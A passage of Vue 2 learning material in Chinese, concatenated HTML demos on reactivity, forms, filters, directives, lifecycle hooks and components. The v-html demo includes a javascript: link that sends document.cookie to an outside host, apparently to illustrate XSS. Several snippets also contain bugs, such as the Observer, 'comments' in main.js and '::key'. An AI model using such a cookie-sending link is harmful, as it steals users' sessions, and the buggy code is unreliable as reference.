shift()
unshift()
splice()
sort()
reserve()
*/
// this.persons.splice(3, 1, { id: '004', name: '马老师', age: 53, sex: '男' })
// 有效 或者 Vue.Set
this.$set(this.persons, 3, { id: '004', name: '马老师', age: 53, sex: '男' })
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{addr}}</h2>
<hr>
<h1>学生信息</h1>
<button @click="addSex">添加一个性别信息,默认为男</button>
<h2>学生姓名:{{student.name}}</h2>
<h2>学生年龄:真实:{{student.age.rAge}}, 对外{{student.age.sAge}}</h2>
<h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
<h2>hobby</h2>
<ul>
<li v-for="(f, index) in student.hobby" ::key="index">
{{f}}
</li>
</ul>
<h2>朋友们</h2>
<ul>
<li v-for="(f, index) in student.friends" ::key="index">
{{f.name}} - {{f.age}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: '南图小学',
addr: '翼龙',
student: {
name: 'tom',
age: {
rAge: 40,
sAge: 29
},
hobby: ['抽烟', '喝酒', '烫头'],
friends: [
{ name: 'jerry', age: 35 },
{ name: 'tony', age: 35 }
]
}
},
methods: {
addSex() {
this.$set(this.student, 'sex', '男')
}
},
})
// 方法一, 但有局限,不能给 data 添加属性
// Vue.set(vm.student, 'sex', '男')
// 方法二
// vm.$set(vm.student, 'sex', '女')
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<script>
let data = {
name: '校长',
addr: 'beijing'
}
// ?
// Object.defineProperties(data, 'name', {
// get() {
// return data.name // 会死循环嵌套
// },
// set(val){
// data.name = val
// }
// })
const obs = new Observer(data)
console.log('obs:', obs);
let vm = {}
vm._data = data = obs
function Observer(obj){
const keys = Object.keys(obj)
// 遍历
keys.forEach(k => {
Object.defineProperties(this, k, {
get(){
this.k = obj[k]
},
set(val) {
console.log(`${k}, 被改了, 我要去解析模板,生成虚拟dom。。开始工作了...`);
obj[k] = val
}
})
})
}
</script>
</body>
</html>
收集表单数据
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<form @submit.prevent="demo">
账号: <input type="text" v-model.trim="userInfo.account"> <br><br>
密码: <input type="password" v-model="userInfo.password"> <br><br>
年龄: <input type="number" v-model.number="userInfo.age"> <br><br>
性别:
男<input type="radio" v-model="userInfo.sex" value="male">
女<input type="radio" v-model="userInfo.sex" value="female"> <br><br>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br><br>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select> <br><br>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br><br>
<input type="checkbox" v-model="userInfo.agree"> 阅读并接受<a href="http://www.google.com">《用户协议》</a> <br><br>
<button>提交</button>
</form>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
age: 21,
sex: 'male',
hobby: [],
city: 'beijing',
other: '',
agree: ''
}
},
methods: {
demo() {
alert(JSON.stringify(this.userInfo))
}
},
})
</script>
</body>
</body>
</html>
过滤器
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h3>显示格式化后的时间</h3>
<h3>{{time}}</h3>
<h3>计算属性实现:{{fmttime}}</h3>
<h3>methods实现:{{fmttimeFunc()}}</h3>
<h3>过滤器实现:{{time | timeFormatter}}</h3>
<h3>过滤器传参实现:{{time | timeFormatter2('YYYY-MM-DD')}}</h3>
<h3>多过滤器实现:{{time | timeFormatter2('YYYY-MM-DD') | myslice}}</h3>
<h3>其他标签使用过滤器</h3>
<h4 :x="msg | myslice">测试,查看源码标签是否改动</h4>
</div>
<div id="root2">
<h3>使用全局过滤器</h3>
{{'hello_word' | myslice}}
</div>
<script>
Vue.config.productionTip = false
// 全局过滤器
Vue.filter('myslice', function (str) {
return str.slice(0, 4)
})
new Vue({
el: '#root',
data: {
time: 1646902230778,
msg: 'bigandbig'
},
computed: {
fmttime() {
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
methods: {
fmttimeFunc() {
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
// 局部过滤器
filters: {
timeFormatter(time) {
return dayjs(time).format('YYYY-MM-DD HH:mm:ss')
},
timeFormatter2(time, formatStr = 'YYYY-MM-DD HH:mm:ss') {
return dayjs(time).format(formatStr)
},
// myslice(str){
// return str.slice(0, 4)
// }
}
})
new Vue({
el: '#root2'
})
</script>
</body>
</html>
内置指令
v-text
v-html
v-cloak
v-once
v-pre
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
{{name}}
<hr>
<!-- 所有的解析并替换,显示的是原始值,不会解析标签 -->
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script>
/*
v-bind: 单向绑定
v-model: 双向绑定
v-for:
v-on: @
v-if:
v-else
v-show
*/
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
name: '南图小学',
str: '<h4>xxxxx</h4>'
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
{{name}}
<hr>
<div v-html="str"></div>
<a href='javascript:location.href="http://www.baidu.com?"+ document.cookie'>兄弟快点</a>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
name: '南图小学',
str: '<h4>xxxxx</h4>',
str2: ''
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<!-- v-cloak Vue成功加载后对应标签消失,配合style来解决模板渲染造成的异常问题 -->
<div v-cloak id="root">
{{name}}
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
name: '南图小学',
str: '<h4>xxxxx</h4>',
str2: ''
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- v-once 初始才渲染一次 -->
<h3 v-once>初始化的n值是:{{n}}</h3>
<h3>当前n的值是:{{n}}</h3>
<button @click="add">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
n:0
},
methods: {
add(){
this.n += 1
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- v-pre 不回去解析模板,加快编译速度 -->
<h3 v-pre>hello</h3>
<h3 v-pre>当前n的值是:{{n}}</h3>
<button @click="add">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
n:0
},
methods: {
add(){
this.n += 1
}
},
})
</script>
</body>
</html>
自定义指令
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<!-- 使用v-big将原始值放大10倍 -->
<h2>放大10倍的n值是:<span v-big="n"></span></h2>
<button @click="add">点我n+1</button>
<!-- v-fbind 指令类似 v-bind 但可以使 input获取默认焦点 -->
<hr>
<!-- 原始使用 加 autofocus -->
<input type="text" :value="n" />
<input type="text" v-fbind:value="n" />
<!-- 注意,自定义指令 this指向是 window -->
</div>
<script>
Vue.config.productionTip = false
// 全局自定义指令
Vue.directive('fxxx', {
bind(element, bingding){
// 绑定时(一上来)
element.value = bingding.value
},
inserted(element, bingding){
// 插入页码时
element.focus()
},
update(element, bingding){
// 所在模板被重新解析时
element.value = bingding.value
}
})
new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n += 1
}
},
directives:{
// 函数: 1.指令和元素成功绑定时调用 2.指令所在的模板被重新解析时
big(element, bingding){
console.dir(element)
console.log(element, bingding.value)
element.innerText = bingding.value * 10
},
// 对象时,可以详细操作
fbind: {
bind(element, bingding){
// 绑定时(一上来)
element.value = bingding.value
},
inserted(element, bingding){
// 插入页面时
element.focus()
},
update(element, bingding){
// 所在模板被重新解析时
element.value = bingding.value
}
}
}
})
</script>
</body>
</html>
生命周期
引出-mount
不使用生命周期
分析
总结
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">{{name}}</h2>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '南图小学',
opacity: 0.6
},
// DOM渲染之后
mounted() {
setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">{{name}}</h2>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data:{
name: '南图小学',
opacity: 0.6
}
})
setInterval(()=>{
vm.opacity -= 0.01
if (vm.opacity <= 0) vm.opacity = 1
}, 16)
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我+1</button>
<button @click="bye">点我销毁</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 0
},
methods: {
add(){
this.n++
},
bye(){
console.log('bye');
this.$destroy() // 清理它与其它实例的连接,解绑它的全部指令及自定义事件监听器, 原生的不会销毁
}
},
// 无数据代理,无方法
beforeCreate() {
console.log('beforeCreate');
},
// 有数据代理和对应方法
created() {
console.log('created');
},
// 解析完模板,虚拟dom创建后
beforeMount() {
console.log('beforeMount');
},
// 真实dom创建后
mounted() {
console.log('mounted');
},
// 数据更新之前
beforeUpdate() {
console.log("beforeUpdate");
},
// 数据更新之后
updated() {
console.log("beforeUpdate");
},
// 马上销毁
beforeDestroy() {
//
console.log("beforeDestroy");
},
destroyed() {
console.log("destroyed");
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">{{name}}</h2>
<button @click="stop">点我停止变幻</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '南图小学',
opacity: 0.6
},
methods: {
stop() {
this.$destroy()
}
},
// DOM渲染之后
mounted() {
this.timer = setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
clearInterval(this.timer)
},
})
</script>
</body>
</html>
非单文件组件
准备
基本使用
组件嵌套
vuecomponent
内置关系
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{schoolAddress}}</h2>
<hr>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
schoolName: '南图小学',
schoolAddress: '金城',
Name: '小张',
age: 30
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h1>{{msg}}</h1>
<school></school>
<hr>
<student></student>
<hr>
<!-- 脚手架可以处理自闭合标签 -->
<student></student>
<hr>
<hello></hello>
</div>
<script></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="root">
<h1>{{msg}}</h1>
<school></school>
<hr>
</div>
<script></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h1>{{msg}}</h1>
<school></school>
</div>
<script>
Vue.config.productionTip = false
/*
school 组件本质是 VueComponent 的构造函数,非程序员定义,由 Vue.extends 生成, 且都为一个全新VueComponent
*/
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{schoolAddress}}</h2>
</div>
`,
data() {
return {
schoolName: '南图小学',
schoolAddress: '金城'
}
}
})
console.log('@', school);
new Vue({
el: '#root',
data:{
msg: '你好'
},
components:{
school
}
})
/*
组件名推荐: 'my-school' 'MySchool'(脚手架才能使用)
*/
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
</div>
<script>
/*
一个重要内置关系: VueComponent.prototype.__proto__ === Vue.prototype
便于 vc 可以访问到 Vue 原型上的实例和方法
*/
Vue.config.productionTip = false
Vue.prototype.headname = '只能这么用'
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{schoolAddress}}</h2>
<h3>{{headname}}</h3>
</div>
`,
data() {
return {
schoolName: '南图小学',
schoolAddress: '金城'
}
},
})
new Vue({
el: '#root',
template: `
<school></school>
`,
data:{
msg: '你好',
// headname: 'main name'
},
components:{
school
}
})
console.log('@end',school.prototype.__proto__ === Vue.prototype);
</script>
</body>
</html>
单文件组件
index.html
main.js
App.vue
School.vue
Student.vue
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="root"></div>
<script src="../../../common/vue2_6_14/vue.js"></script>
<script type="text/javascript" src="./main.js"></script>
</body>
</html>
import App from './App.vue'
new Vue({
template: `<App></App>`,
el: '#root',
comments: {App}
})
<template>
<div>
<School></School>
<Student></Student>
</div>
</template>
<script>
import School from './School.vue'
import Student from './Student.vue'
export default {
name: 'App',
components: {School, Student}
}
</script>
<style>
</style>
<!-- 组件结构 -->
<template>
<div class="demo">
<h2>学校名称:{{ schoolName }}</h2>
<h2>学校地址:{{ schoolAddress }}</h2>
<button @click="tipSchool">点我提示学校名</button>
</div>
</template>
<script>
// 组件交互代码
export default {
name:'School',
data() {
return {
schoolName: '南图小学',
schoolAddress: '金城'
}
},
methods: {
tipSchool() {
alert(this.schoolName)
}
}
};
const school = Vue.extend({
})
</script>
<style lang="">
/* 组件样式 */
.demo{
background-color: orange;
}
</style>
<!-- 组件结构 -->
<template>
<div class="demo">
<h2>学生名称:{{ name }}</h2>
<h2>学生年龄:{{ age }}</h2>
</div>
</template>
<script>
// 组件交互代码
export default {
name:'School',
data() {
return {
name: '小张',
age: 30
}
}
};
</script>